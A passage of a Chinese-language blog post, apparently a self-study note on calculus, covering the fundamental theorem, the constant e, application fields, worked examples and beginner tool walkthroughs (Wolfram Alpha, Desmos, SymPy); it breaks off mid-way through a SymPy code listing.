src="https://vdio-1252926453.cos.ap-chengdu.myqcloud.com/picgo/calc_fig4_integral_area.png" alt="图4：积分的几何含义——曲线下方的面积"></p><h3 id="2-6-微积分基本定理"><a href="#2-6-微积分基本定理" class="headerlink" title="2.6 微积分基本定理"></a>2.6 微积分基本定理</h3><p>微分和积分互为逆操作——这是微积分的灵魂：</p><blockquote><p>对一个函数求导再积分，得到原函数加上常数。</p></blockquote><p>对 $s(t)&#x3D;t^2$ 求导得 $v(t)&#x3D;2t$；对 $v(t)&#x3D;2t$ 积分（从0到T）得 $s(T)&#x3D;T^2$。</p><p>这个定理把微分和积分统一成一个工具。</p><p><strong>基本定理的几何含义</strong>：如果你把 $v(t)&#x3D;2t$ 画成一条曲线，算出从0到T这段曲线下方的面积——这个面积恰好等于 $T^2$，也就是物体走过的总路程。面积的变化率 &#x3D; 曲线的高度。<strong>面积增长的速度，取决于此刻曲线有多高。</strong></p><p><img src="https://vdio-1252926453.cos.ap-chengdu.myqcloud.com/picgo/calc_fig5_fundamental_theorem.png" alt="图5：微积分基本定理——面积的变化率等于曲线高度"></p><h3 id="2-7-可导性与连续性"><a href="#2-7-可导性与连续性" class="headerlink" title="2.7 可导性与连续性"></a>2.7 可导性与连续性</h3><p>可导的前提是<strong>连续</strong>，但连续不一定可导。</p><p>不可导的典型情况：</p><table><thead><tr><th align="center">类型</th><th align="center">例子</th><th align="center">现实类比</th></tr></thead><tbody><tr><td align="center"><strong>尖点</strong></td><td align="center">$f(x)&#x3D;</td><td align="center">x</td></tr><tr><td align="center"><strong>间断点</strong></td><td align="center">阶梯函数</td><td align="center">电灯开关（宏观近似）</td></tr><tr><td align="center"><strong>振荡剧烈</strong></td><td align="center">$\sin(1&#x2F;x)$ 在 $x \to 0$</td><td align="center">地震仪高频震荡</td></tr><tr><td align="center"><strong>垂直切线</strong></td><td align="center">$f(x)&#x3D;x^{1&#x2F;3}$ 在 $x&#x3D;0$</td><td align="center">物体撞击瞬间加速度趋于无穷</td></tr></tbody></table><p><strong>深刻的洞见</strong>：微积分的前提是连续性假设。现实世界在微观尺度上可能是连续的（球撞墙时有形变），但在宏观近似下我们故意忽略细节，用”不可导”模型描述突变——这是一种有效的简化，而非错误。</p><hr><h2 id="三、自然常数-e——为什么微积分的解里总有它"><a href="#三、自然常数-e——为什么微积分的解里总有它" class="headerlink" title="三、自然常数 e——为什么微积分的解里总有它"></a>三、自然常数 e——为什么微积分的解里总有它</h2><p>微积分的应用案例中，解几乎都含有 $e^{…}$。碳定年、药物代谢、牛顿冷却、Logistic增长——到处都是 $e$。</p><h3 id="e-是什么"><a href="#e-是什么" class="headerlink" title="e 是什么"></a>e 是什么</h3><p>$e$ 是一个数字，大约等于 <strong>2.71828</strong>。它和 π（3.14159…）一样，是一个自然常数——不是人发明的，而是自然界”自带”的。</p><h3 id="e-为什么重要"><a href="#e-为什么重要" class="headerlink" title="e 为什么重要"></a>e 为什么重要</h3><p>$e$ 的特殊之处在于：<strong>$e^x$ 是唯一一个”自己的导数等于自己”的函数</strong>。</p><p>$$\frac{d}{dx} e^x &#x3D; e^x$$</p><p>也就是说，$e^x$ 的变化率在任何时刻都等于它当前的值。这听起来像一句废话，但仔细想想——这恰恰描述了最常见的一类自然现象：</p><blockquote><p>“变化率与当前量成正比”</p></blockquote><ul><li>人口增长：增长率与当前人口成正比</li><li>银行复利：利息增长与当前余额成正比</li><li>放射性衰变：衰变速率与当前原子数成正比（负号代表减少）</li><li>药物清除：清除率与当前浓度成正比</li></ul><p>所有这些问题的微分方程都形如 $\frac{dy}{dt} &#x3D; ky$，而这类方程的解<strong>必定含有 $e^{kt}$</strong>——不是因为数学家偏爱 $e$，而是因为 $e$ 是唯一满足”导数&#x3D;自身”这个条件的函数，它天然就是”正比增长&#x2F;衰减”的数学表达。</p><h3 id="直觉理解"><a href="#直觉理解" class="headerlink" title="直觉理解"></a>直觉理解</h3><p>想象你往银行存1元钱，年利率100%。如果一年结算一次，年底你有2元。</p><p>但如果银行疯狂地连续结算利息——每秒、每毫秒、每纳秒都结算——你的钱会越来越多，但不会无限增长。最终极限会收敛到 <strong>$e ≈ 2.718$</strong> 元。</p><p>这就是 $e$ 的本质：<strong>连续复利下的极限增长因子</strong>。</p><table><thead><tr><th align="center">结算频率</th><th align="center">年底余额</th></tr></thead><tbody><tr><td align="center">一年1次</td><td align="center">2.00</td></tr><tr><td align="center">一年2次</td><td align="center">2.25</td></tr><tr><td align="center">一年12次</td><td align="center">2.613</td></tr><tr><td align="center">一年365次</td><td align="center">2.7146</td></tr><tr><td align="center">连续复利（极限）</td><td align="center"><strong>e &#x3D; 2.71828…</strong></td></tr></tbody></table><blockquote><p>所以 $e$ 出现在微积分的解中不是巧合——它是”连续变化率正比于当前量”这个最基本自然规律的数学化身。</p></blockquote><p><img src="https://vdio-1252926453.cos.ap-chengdu.myqcloud.com/picgo/calc_fig6_exponential_decay.png" alt="图6：指数衰减 e^{-kt} 的形态"></p><hr><h2 id="四、什么时候该想到微积分"><a href="#四、什么时候该想到微积分" class="headerlink" title="四、什么时候该想到微积分"></a>四、什么时候该想到微积分</h2><p>一个实用的判断口诀：</p><table><thead><tr><th align="center">你想问的问题</th><th align="center">使用的工具</th></tr></thead><tbody><tr><td align="center"><strong>“多快？”</strong> → 变化率</td><td align="center">微分（导数）</td></tr><tr><td align="center"><strong>“多少？”</strong> → 累积总量</td><td align="center">积分</td></tr><tr><td align="center"><strong>“未来会怎样？”</strong> → 动态预测</td><td align="center">微分方程</td></tr><tr><td align="center"><strong>“最优是多少？”</strong> → 极值</td><td align="center">导数&#x3D;0</td></tr></tbody></table><p>具体触发词：</p><ul><li>看到”速度””增长率””斜率””边际成本””电流强度” → <strong>微分</strong></li><li>看到”总面积””总体积””总路程””总电量””总功” → <strong>积分</strong></li><li>看到”衰变率正比于存量””温度变化率正比于温差” → <strong>微分方程</strong></li><li>看到”最大利润””最小成本””最佳订量””最高效率” → <strong>导数求极值</strong></li></ul><hr><h2 id="五、使用领域全景"><a href="#五、使用领域全景" class="headerlink" title="五、使用领域全景"></a>五、使用领域全景</h2><h3 id="5-1-物理学——微积分是物理的语言"><a href="#5-1-物理学——微积分是物理的语言" class="headerlink" title="5.1 物理学——微积分是物理的语言"></a>5.1 物理学——微积分是物理的语言</h3><p>几乎所有物理定律都用微积分表达：</p><table><thead><tr><th align="center">领域</th><th align="center">核心方程</th><th align="center">微积分角色</th></tr></thead><tbody><tr><td align="center"><strong>经典力学</strong></td><td align="center">$F &#x3D; m \cdot d^2x&#x2F;dt^2$</td><td align="center">加速度是位置的二阶导数</td></tr><tr><td align="center"><strong>电磁学</strong></td><td align="center">麦克斯韦方程组</td><td align="center">偏微分方程描述电场与磁场的变化</td></tr><tr><td align="center"><strong>热力学</strong></td><td align="center">熵变、热传导方程</td><td align="center">积分计算能量变化，偏微分描述热传导</td></tr><tr><td align="center"><strong>量子力学</strong></td><td align="center">薘定谔方程</td><td align="center">波函数的概率解释涉及积分</td></tr></tbody></table><h3 id="5-2-工程学——设计与优化的基石"><a href="#5-2-工程学——设计与优化的基石" class="headerlink" title="5.2 工程学——设计与优化的基石"></a>5.2 工程学——设计与优化的基石</h3><table><thead><tr><th align="center">分支</th><th align="center">应用</th></tr></thead><tbody><tr><td align="center"><strong>机械工程</strong></td><td align="center">应力分析、流体动力学（Navier-Stokes方程）、控制理论</td></tr><tr><td align="center"><strong>电气工程</strong></td><td align="center">RC&#x2F;RL电路微分方程、信号处理（傅里叶变换）</td></tr><tr><td align="center"><strong>土木工程</strong></td><td align="center">结构载荷分布、梁的弯曲方程（四阶微分方程）</td></tr><tr><td align="center"><strong>航空航天</strong></td><td align="center">飞行器轨道动力学、空气动力学建模</td></tr></tbody></table><h3 id="5-3-经济学——边际分析的数学基础"><a href="#5-3-经济学——边际分析的数学基础" class="headerlink" title="5.3 经济学——边际分析的数学基础"></a>5.3 经济学——边际分析的数学基础</h3><table><thead><tr><th align="center">应用</th><th align="center">原理</th></tr></thead><tbody><tr><td align="center"><strong>边际成本&#x2F;收益</strong></td><td align="center">成本函数&#x2F;收益函数的导数</td></tr><tr><td align="center"><strong>利润最大化</strong></td><td align="center">导数求极值点（边际收益&#x3D;边际成本）</td></tr><tr><td align="center"><strong>经济增长模型</strong></td><td align="center">索洛增长模型</td></tr><tr><td align="center"><strong>期权定价</strong></td><td align="center">Black-Scholes方程（偏微分方程）</td></tr></tbody></table><h3 id="5-4-生命科学与医学"><a href="#5-4-生命科学与医学" class="headerlink" title="5.4 生命科学与医学"></a>5.4 生命科学与医学</h3><table><thead><tr><th align="center">应用</th><th align="center">微积分工具</th></tr></thead><tbody><tr><td align="center"><strong>种群增长</strong></td><td align="center">Logistic模型（一阶非线性微分方程）</td></tr><tr><td align="center"><strong>药物代谢</strong></td><td align="center">房室模型（一阶线性微分方程&#x2F;方程组）</td></tr><tr><td align="center"><strong>流行病学</strong></td><td align="center">SIR模型（微分方程组）</td></tr><tr><td align="center"><strong>酶动力学</strong></td><td align="center">Michaelis-Menten方程</td></tr></tbody></table><h3 id="5-5-计算机科学与AI"><a href="#5-5-计算机科学与AI" class="headerlink" title="5.5 计算机科学与AI"></a>5.5 计算机科学与AI</h3><table><thead><tr><th align="center">应用</th><th align="center">微积分角色</th></tr></thead><tbody><tr><td align="center"><strong>机器学习</strong></td><td align="center">梯度下降优化（导数求极值）</td></tr><tr><td align="center"><strong>神经网络</strong></td><td align="center">反向传播（链式求导）</td></tr><tr><td align="center"><strong>计算机图形</strong></td><td align="center">Bezier曲线&#x2F;样条、光线追踪</td></tr><tr><td align="center"><strong>图像处理</strong></td><td align="center">Sobel算子边缘检测（灰度梯度&#x3D;一阶导数）</td></tr></tbody></table><h3 id="5-6-化学"><a href="#5-6-化学" class="headerlink" title="5.6 化学"></a>5.6 化学</h3><table><thead><tr><th align="center">应用</th><th align="center">原理</th></tr></thead><tbody><tr><td align="center"><strong>反应动力学</strong></td><td align="center">反应速率方程（微分方程，如 $d[A]&#x2F;dt &#x3D; -k[A]$）</td></tr><tr><td align="center"><strong>量子化学</strong></td><td align="center">薘定谔方程求解分子轨道</td></tr></tbody></table><h3 id="5-7-日常生活"><a href="#5-7-日常生活" class="headerlink" title="5.7 日常生活"></a>5.7 日常生活</h3><table><thead><tr><th align="center">场景</th><th align="center">微积分的身影</th></tr></thead><tbody><tr><td align="center"><strong>GPS导航</strong></td><td align="center">最短路径计算、实时位置修正</td></tr><tr><td align="center"><strong>信用卡最低还款</strong></td><td align="center">银行用积分计算复利</td></tr><tr><td align="center"><strong>煮鸡蛋</strong></td><td align="center">牛顿冷却定律预测中心温度</td></tr><tr><td align="center"><strong>天气预报</strong></td><td align="center">大气流体动力学（偏微分方程）</td></tr></tbody></table><hr><h2 id="六、简单应用案例——第一次亲手用微积分"><a href="#六、简单应用案例——第一次亲手用微积分" class="headerlink" title="六、简单应用案例——第一次亲手用微积分"></a>六、简单应用案例——第一次亲手用微积分</h2><p>以下是4个<strong>最直觉、最简单</strong>的微积分应用。它们不需要微分方程，只用最基本的导数和积分操作，让零基础者也能体验”我亲手用了一次微积分”的感觉。</p><h3 id="简单案例A：用导数找最大值——最大化利润"><a href="#简单案例A：用导数找最大值——最大化利润" class="headerlink" title="简单案例A：用导数找最大值——最大化利润"></a>简单案例A：用导数找最大值——最大化利润</h3><p><strong>现实场景</strong>：你开了一家奶茶店。每杯奶茶定价 $p$ 元，每天能卖出大约 $q &#x3D; 200 - 5p$ 杯（价格越高，买的人越少）。每杯成本15元。定价多少能赚最多？</p><p><strong>思路</strong>：</p><ol><li>先写出利润函数——利润 &#x3D; (售价-成本) × 销量</li><li>利润是定价 $p$ 的函数，所以这是一个关于 $p$ 的曲线</li><li>曲线的最高点 &#x3D; 导数&#x3D;0 的点</li><li>找到这个点，就是最优定价</li></ol><p><strong>解决过程</strong>：</p><p>利润 $L(p) &#x3D; (p - 15) \times (200 - 5p)$</p><p>展开：$L(p) &#x3D; 200p - 5p^2 - 3000 + 75p &#x3D; -5p^2 + 275p - 3000$</p><p>对 $p$ 求导：$L’(p) &#x3D; -10p + 275$</p><p>令导数&#x3D;0：$-10p + 275 &#x3D; 0 \Rightarrow p &#x3D; 27.5$ 元</p><p><strong>结论</strong>：定价27.5元时利润最大。</p><p>验证：代入 $L(27.5) &#x3D; -5(27.5)^2 + 275(27.5) - 3000 &#x3D; 781.25$ 元&#x2F;天。</p><blockquote><p><strong>核心思路</strong>：找到利润函数 → 求导 → 导数&#x3D;0的位置就是极值点。这就是微积分最简单也最常用的操作之一。</p></blockquote><h3 id="简单案例B：用导数求速度——从位置算瞬时速度"><a href="#简单案例B：用导数求速度——从位置算瞬时速度" class="headerlink" title="简单案例B：用导数求速度——从位置算瞬时速度"></a>简单案例B：用导数求速度——从位置算瞬时速度</h3><p><strong>现实场景</strong>：一辆车沿直线运动，位置随时间变化的关系是 $s(t) &#x3D; 3t^2$（单位：米，时间：秒）。问：第4秒时车速度是多少？</p><p><strong>思路</strong>：</p><ol><li>位置函数已知</li><li>速度 &#x3D; 位置对时间的导数</li><li>求导得到速度函数，代入 t&#x3D;4</li></ol><p><strong>解决过程</strong>：</p><p>$s(t) &#x3D; 3t^2$</p><p>$\frac{ds}{dt} &#x3D; 6t$ （对 $3t^2$ 求导，幂函数法则 $n \cdot x^{n-1}$）</p><p>$v(4) &#x3D; 6 \times 4 &#x3D; 24$ m&#x2F;s</p><p><strong>结论</strong>：第4秒时车速24 m&#x2F;s。</p><blockquote><p><strong>核心思路</strong>：已知位置函数 → 求导 → 得到速度函数 → 代入具体时刻。这是微分最直觉的物理应用。</p></blockquote><h3 id="简单案例C：用积分算面积——曲线下方的面积"><a href="#简单案例C：用积分算面积——曲线下方的面积" class="headerlink" title="简单案例C：用积分算面积——曲线下方的面积"></a>简单案例C：用积分算面积——曲线下方的面积</h3><p><strong>现实场景</strong>：一个水池的水深随距离变化，$h(x) &#x3D; 2x$（x是从岸边向池中心走的距离，单位米）。问：从岸边到4米处，水面下方的总面积是多少？</p><p><strong>思路</strong>：</p><ol><li>水深函数是一条斜线</li><li>面积 &#x3D; 这条线下方从0到4的区域</li><li>这就是积分</li></ol><p><strong>解决过程</strong>：</p><p>面积 &#x3D; $\int_0^4 2x , dx$</p><p>这个积分的含义：把从0到4这段距离切成无数小段，每段的高度 $2x$ × 宽度 $dx$ &#x3D; 微小面积，加起来 &#x3D; 总面积。</p><p>计算：$\int_0^4 2x , dx &#x3D; x^2 \Big|_0^4 &#x3D; 4^2 - 0^2 &#x3D; 16$ 平方米</p><blockquote><p>这个结果符合直觉验证：这是一条从(0,0)到(4,8)的斜线，下方是一个三角形，底4高8，面积 &#x3D; 4×8÷2 &#x3D; 16。积分的结果和几何方法完全一致！</p></blockquote><blockquote><p><strong>核心思路</strong>：已知函数 → 积分 &#x3D; 曲线下方的面积。这是积分最基本、最直觉的含义。</p></blockquote><h3 id="简单案例D：用积分算总路程——从速度算走了多远"><a href="#简单案例D：用积分算总路程——从速度算走了多远" class="headerlink" title="简单案例D：用积分算总路程——从速度算走了多远"></a>简单案例D：用积分算总路程——从速度算走了多远</h3><p><strong>现实场景</strong>：你开车出去，速度表记录的速度随时间变化是 $v(t) &#x3D; 20 + 5t$（起步20 m&#x2F;s，每秒加速5 m&#x2F;s）。问：前6秒走了多远？</p><p><strong>思路</strong>：</p><ol><li>速度函数已知</li><li>路程 &#x3D; 速度对时间的积分</li><li>积分得到路程</li></ol><p><strong>解决过程</strong>：</p><p>路程 &#x3D; $\int_0^6 (20 + 5t) , dt$</p><p>$&#x3D; 20t + \frac{5t^2}{2} \Big|_0^6$</p><p>$&#x3D; 20(6) + \frac{5(36)}{2} - 0$</p><p>$&#x3D; 120 + 90 &#x3D; 210$ 米</p><p><strong>直觉验证</strong>：起步速度20，结束速度20+30&#x3D;50，平均速度35，时间6秒，35×6&#x3D;210。完全吻合！</p><blockquote><p><strong>核心思路</strong>：已知速度函数 → 积分 → 得到总路程。这就是”无数微小路程累加”的具体操作。</p></blockquote><hr><h2 id="七、经典应用案例详解（微分方程类）"><a href="#七、经典应用案例详解（微分方程类）" class="headerlink" title="七、经典应用案例详解（微分方程类）"></a>七、经典应用案例详解（微分方程类）</h2><h3 id="案例1：放射性碳定年法（考古学）"><a href="#案例1：放射性碳定年法（考古学）" class="headerlink" title="案例1：放射性碳定年法（考古学）"></a>案例1：放射性碳定年法（考古学）</h3><p><strong>现实问题</strong>：考古学家挖出一块骨头，想知道有多少年了。</p><p><strong>建模</strong>：</p><ul><li>生物活着时，体内碳-14含量与大气平衡</li><li>死亡后，碳-14衰变，衰变速率与当前存量成正比</li><li>微分方程：$\frac{dN}{dt} &#x3D; -\lambda N$</li></ul><p><strong>解</strong>：$N(t) &#x3D; N_0 \cdot e^{-\lambda t}$</p><p>推导过程（分离变量法）：</p><ol><li>$\frac{dN}{N} &#x3D; -\lambda , dt$</li><li>两边积分：$\ln N &#x3D; -\lambda t + C$</li><li>取指数：$N &#x3D; e^C \cdot e^{-\lambda t}$</li><li>令 $t&#x3D;0$ 时 $N&#x3D;N_0$，则 $e^C &#x3D; N_0$</li></ol><p><strong>实际操作</strong>：实验室测量样本中碳-14活度，与标准样品对比，计算 $N(t)&#x2F;N_0$ 的比值，代入公式反解 $t$。</p><h3 id="案例2：弹簧-质量系统（机械工程）"><a href="#案例2：弹簧-质量系统（机械工程）" class="headerlink" title="案例2：弹簧-质量系统（机械工程）"></a>案例2：弹簧-质量系统（机械工程）</h3><p><strong>现实问题</strong>：设计汽车悬挂系统，避免共振。</p><p><strong>建模</strong>：</p><ul><li>牛顿第二定律：合力 &#x3D; 质量 × 加速度</li><li>弹簧力：$-kx$（恢复力，与位移成正比）</li><li>阻尼力：$-c \cdot \frac{dx}{dt}$（与速度成正比，方向相反）</li><li>微分方程：$m \cdot \frac{d^2x}{dt^2} + c \cdot \frac{dx}{dt} + kx &#x3D; 0$</li></ul><p><strong>解的形态取决于阻尼大小</strong>：</p><ul><li>欠阻尼：正弦衰减振荡（最常见，车身晃几下后稳定）</li><li>临界阻尼：最快回到平衡（最理想）</li><li>过阻尼：缓慢回归，无振荡（感觉”迟钝”）</li></ul><p>工程师通过调整 $m$、$c$、$k$ 使系统处于最佳阻尼状态。</p><h3 id="案例3：药物代谢动力学（医学）"><a href="#案例3：药物代谢动力学（医学）" class="headerlink" title="案例3：药物代谢动力学（医学）"></a>案例3：药物代谢动力学（医学）</h3><p><strong>现实问题</strong>：确定给药剂量和间隔，保持血药浓度在治疗窗口内。</p><p><strong>建模</strong>：$\frac{dC}{dt} &#x3D; -kC$（清除率与当前浓度成正比）</p><p><strong>解</strong>：$C(t) &#x3D; C_0 \cdot e^{-kt}$</p><p><strong>半衰期</strong>：$t_{1&#x2F;2} &#x3D; \frac{\ln 2}{k}$</p><blockquote><p>虽然普通医生不需要亲自做微积分建模，但药品说明书上的每一条剂量指南——背后都是微积分的产物。特殊人群（肝肾功能不全者）需要个体化调整时，本质上是微积分模型的参数修正。</p></blockquote><h3 id="案例4：牛顿冷却定律（日常烹饪）"><a href="#案例4：牛顿冷却定律（日常烹饪）" class="headerlink" title="案例4：牛顿冷却定律（日常烹饪）"></a>案例4：牛顿冷却定律（日常烹饪）</h3><p><strong>现实问题</strong>：煮鸡蛋时，鸡蛋中心温度达到70°C需要多长时间？</p><p><strong>建模</strong>：$\frac{dT}{dt} &#x3D; -k(T - T_{env})$</p><p><strong>解</strong>：$T(t) &#x3D; T_{env} + (T_0 - T_{env}) \cdot e^{-kt}$</p><p>代入已知参数（鸡蛋初始温度4°C，沸水100°C），反解 $t$ 即可。</p><h3 id="案例5：经济订货批量EOQ（供应链管理）"><a href="#案例5：经济订货批量EOQ（供应链管理）" class="headerlink" title="案例5：经济订货批量EOQ（供应链管理）"></a>案例5：经济订货批量EOQ（供应链管理）</h3><p><strong>现实问题</strong>：每次订多少货能使总成本最小？</p><p><strong>建模</strong>：总成本 $C(Q) &#x3D; \frac{SD}{Q} + \frac{HQ}{2}$</p><p><strong>求导找极值</strong>：$\frac{dC}{dQ} &#x3D; -\frac{SD}{Q^2} + \frac{H}{2} &#x3D; 0$</p><p><strong>解</strong>：$Q^* &#x3D; \sqrt{\frac{2SD}{H}}$（著名的EOQ公式）</p><h3 id="案例6：人口增长与资源限制（生态学）"><a href="#案例6：人口增长与资源限制（生态学）" class="headerlink" title="案例6：人口增长与资源限制（生态学）"></a>案例6：人口增长与资源限制（生态学）</h3><p><strong>现实问题</strong>：预测岛屿上鹿群数量的未来走势。</p><p><strong>建模</strong>：Logistic模型 $\frac{dP}{dt} &#x3D; rP\left(1 - \frac{P}{K}\right)$</p><p><strong>解</strong>：$P(t) &#x3D; \frac{K}{1 + \left(\frac{K}{P_0} - 1\right) e^{-rt}}$</p><p>呈S形曲线：初期快速增长，后期趋于环境容纳量 $K$。</p><hr><h2 id="八、核心概念对照表"><a href="#八、核心概念对照表" class="headerlink" title="八、核心概念对照表"></a>八、核心概念对照表</h2><p>从我的对话中提炼出的关键理解：</p><table><thead><tr><th align="center">我的困惑</th><th align="center">答案</th><th align="center">核心洞见</th></tr></thead><tbody><tr><td align="center">“固定方程怎么能表现变化？”</td><td align="center">微分研究的是函数在极小邻域内的行为，不是方程本身</td><td align="center">函数是”动”的，方程是描述”动”的”静”的规则</td></tr><tr><td align="center">“积分结果≠最终速度？”</td><td align="center">最终速度是状态量，路程是累积量</td><td align="center">“此刻有多快”和”一共走了多远”是完全不同的问题</td></tr><tr><td align="center">“F&#x3D;ma为什么是二阶微分方程？”</td><td align="center">加速度&#x3D;位置的二阶变化率</td><td align="center">$a &#x3D; d^2x&#x2F;dt^2$，力依赖于位置时自然形成微分方程</td></tr><tr><td align="center">“$d^2x&#x2F;dt^2$看不懂”</td><td align="center">不是”d的平方”，而是”两次求导”</td><td align="center">$d&#x2F;dt$是操作，$d^2x&#x2F;dt^2$是操作两次的结果</td></tr><tr><td align="center">“现实是连续的吗？”</td><td align="center">微积分是近似工具，连续假设在特定尺度下有效</td><td align="center">模型的成功取决于预测准确性，不在于完美复制每个细节</td></tr><tr><td align="center">“解里为什么总有e？”</td><td align="center">e是唯一满足”导数&#x3D;自身”的函数</td><td align="center">“变化率正比于当前量”的规律必然产生e</td></tr></tbody></table><hr><h2 id="九、便利工具与计算资源"><a href="#九、便利工具与计算资源" class="headerlink" title="九、便利工具与计算资源"></a>九、便利工具与计算资源</h2><h3 id="9-1-符号计算工具"><a href="#9-1-符号计算工具" class="headerlink" title="9.1 符号计算工具"></a>9.1 符号计算工具</h3><table><thead><tr><th align="center">工具</th><th align="center">特点</th><th align="center">适用场景</th></tr></thead><tbody><tr><td align="center"><strong>Wolfram Alpha</strong></td><td align="center">在线符号计算引擎，输入自然语言即可</td><td align="center">快速求导&#x2F;积分，验证结果</td></tr><tr><td align="center"><strong>Python SymPy</strong></td><td align="center">Python符号计算库，代码化操作</td><td align="center">批量计算，嵌入自动化流程</td></tr><tr><td align="center"><strong>MATLAB</strong></td><td align="center">工程级数值与符号计算</td><td align="center">专业工程仿真</td></tr><tr><td align="center"><strong>Mathematica</strong></td><td align="center">Wolfram旗舰产品，功能最全</td><td align="center">学术研究，复杂符号推导</td></tr><tr><td align="center"><strong>Maple</strong></td><td align="center">符号计算老牌工具</td><td align="center">数学教育，符号推导</td></tr></tbody></table><h3 id="9-2-数值计算与仿真"><a href="#9-2-数值计算与仿真" class="headerlink" title="9.2 数值计算与仿真"></a>9.2 数值计算与仿真</h3><table><thead><tr><th align="center">工具</th><th align="center">特点</th><th align="center">适用场景</th></tr></thead><tbody><tr><td align="center"><strong>Python NumPy&#x2F;SciPy</strong></td><td align="center">数值计算+微分方程求解器</td><td align="center">科学计算，数据分析</td></tr><tr><td align="center"><strong>Julia</strong></td><td align="center">高性能科学计算语言</td><td align="center">大规模数值仿真</td></tr><tr><td align="center"><strong>GNU Octave</strong></td><td align="center">MATLAB开源替代</td><td align="center">轻量工程计算</td></tr><tr><td align="center"><strong>R</strong></td><td align="center">统计计算+微积分函数</td><td align="center">统计建模，经济学</td></tr></tbody></table><h3 id="9-3-可视化与交互学习"><a href="#9-3-可视化与交互学习" class="headerlink" title="9.3 可视化与交互学习"></a>9.3 可视化与交互学习</h3><table><thead><tr><th align="center">工具</th><th align="center">特点</th></tr></thead><tbody><tr><td align="center"><strong>GeoGebra</strong></td><td align="center">交互式几何+代数+微积分可视化</td></tr><tr><td align="center"><strong>Desmos</strong></td><td align="center">在线图形计算器，即时绘制函数与导数</td></tr><tr><td align="center"><strong>3D Grapher</strong></td><td align="center">三维函数可视化</td></tr><tr><td align="center"><strong>Matplotlib (Python)</strong></td><td align="center">编程化绘图，自定义程度高</td></tr></tbody></table><h3 id="9-4-AI辅助学习"><a href="#9-4-AI辅助学习" class="headerlink" title="9.4 AI辅助学习"></a>9.4 AI辅助学习</h3><table><thead><tr><th align="center">场景</th><th align="center">使用方式</th></tr></thead><tbody><tr><td align="center"><strong>建立微分方程</strong></td><td align="center">描述现实场景，让AI帮你翻译成数学语言</td></tr><tr><td align="center"><strong>验证结果</strong></td><td align="center">AI给出导数&#x2F;积分结果后，用常识性检查验证</td></tr><tr><td align="center"><strong>理解公式</strong></td><td align="center">不懂某个符号，直接问”这个d²x&#x2F;dt²每个字母代表什么”</td></tr><tr><td align="center"><strong>概念辨析</strong></td><td align="center">问”微分和导数是一回事吗？”——AI能给出精确对照表</td></tr></tbody></table><blockquote><p><strong>我的策略</strong>：计算交给工具，我只管概念和应用场景。但前提是——必须能准确描述问题。翻译能力才是核心。</p></blockquote><hr><h2 id="十、实操演练——5分钟上手微积分工具"><a href="#十、实操演练——5分钟上手微积分工具" class="headerlink" title="十、实操演练——5分钟上手微积分工具"></a>十、实操演练——5分钟上手微积分工具</h2><p>不需要安装任何软件，打开浏览器就能做。以下每一步都是<strong>可以直接复制粘贴</strong>的具体操作。</p><h3 id="实操1：用-Wolfram-Alpha-求导"><a href="#实操1：用-Wolfram-Alpha-求导" class="headerlink" title="实操1：用 Wolfram Alpha 求导"></a>实操1：用 Wolfram Alpha 求导</h3><p><strong>目标</strong>：对函数 $f(x) &#x3D; 3x^2 + 2x - 5$ 求导</p><ol><li>打开浏览器，访问 <strong><a href="https://www.wolframalpha.com/">https://www.wolframalpha.com</a></strong></li><li>在输入框中输入：<code>derivative of 3x^2 + 2x - 5</code></li><li>点击回车</li><li>看到结果：$6x + 2$</li><li>自己验证：$3x^2$ 的导数是 $6x$，$2x$ 的导数是 $2$，常数的导数是 $0$，加起来 &#x3D; $6x+2$ ✓</li></ol><p><strong>进阶</strong>：输入 <code>derivative of sin(x)</code> → 得到 $\cos(x)$。输入 <code>second derivative of x^3</code> → 得到 $6x$（二阶导数）。</p><h3 id="实操2：用-Wolfram-Alpha-求积分"><a href="#实操2：用-Wolfram-Alpha-求积分" class="headerlink" title="实操2：用 Wolfram Alpha 求积分"></a>实操2：用 Wolfram Alpha 求积分</h3><p><strong>目标</strong>：计算 $\int_0^4 2x , dx$</p><ol><li>打开 Wolfram Alpha</li><li>输入：<code>integrate 2x from 0 to 4</code></li><li>看到结果：$16$</li><li>对应简单案例C的计算结果 ✓</li></ol><p><strong>进阶</strong>：输入 <code>integrate e^(-0.5t) from 0 to 10</code> → 得到碳定年或药物代谢中类似积分的数值。</p><h3 id="实操3：用-Desmos-可视化导数"><a href="#实操3：用-Desmos-可视化导数" class="headerlink" title="实操3：用 Desmos 可视化导数"></a>实操3：用 Desmos 可视化导数</h3><p><strong>目标</strong>：亲眼看到导数&#x3D;切线的斜率</p><ol><li>打开浏览器，访问 <strong><a href="https://www.desmos.com/calculator">https://www.desmos.com/calculator</a></strong></li><li>在左侧输入框中输入：<code>y = x^2</code></li><li>你会看到一条抛物线</li><li>点击抛物线上的任意一个点，Desmos会显示该点的坐标</li><li>在另一个输入框输入：<code>y = 2x_0*(x - x_0) + x_0^2</code>，其中 $x_0$ 是你拖动的一个滑块点</li><li>拖动 $x_0$ 滑块，切线会沿着抛物线移动——<strong>切线的斜率就是导数</strong></li></ol><blockquote><p>你会看到：在 $x_0&#x3D;2$ 处，切线斜率&#x3D;4（导数）；在 $x_0&#x3D;3$ 处，切线斜率&#x3D;6。这就是”导数&#x3D;切线斜率”的直觉验证。</p></blockquote><h3 id="实操4：用-Python-SymPy-做符号计算"><a href="#实操4：用-Python-SymPy-做符号计算" class="headerlink" title="实操4：用 Python SymPy 做符号计算"></a>实操4：用 Python SymPy 做符号计算</h3><p><strong>目标</strong>：在代码中求导和积分</p><p>打开终端，执行以下Python代码（需安装sympy）：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> sympy <span class="keyword">import</span> symbols, diff, integrate, exp, sin</span><br><span class="line"></span><br><span class="line">x, t, k, lambda_ = symbols(<span class="string">&#x27;x t k lambda&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 求导</span></span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;f(x)=3x²+2x-5 的导数:&quot;</span>, diff(<span class="number">3</span>*x**<span class="number">2</span> + <span class="number">2</span>*x - <span class="number">5</span>, x))</span><br><span class="line"><span class="comment"># 输出: 6*x + 2</span></span><br><span class="line"></span><br><span 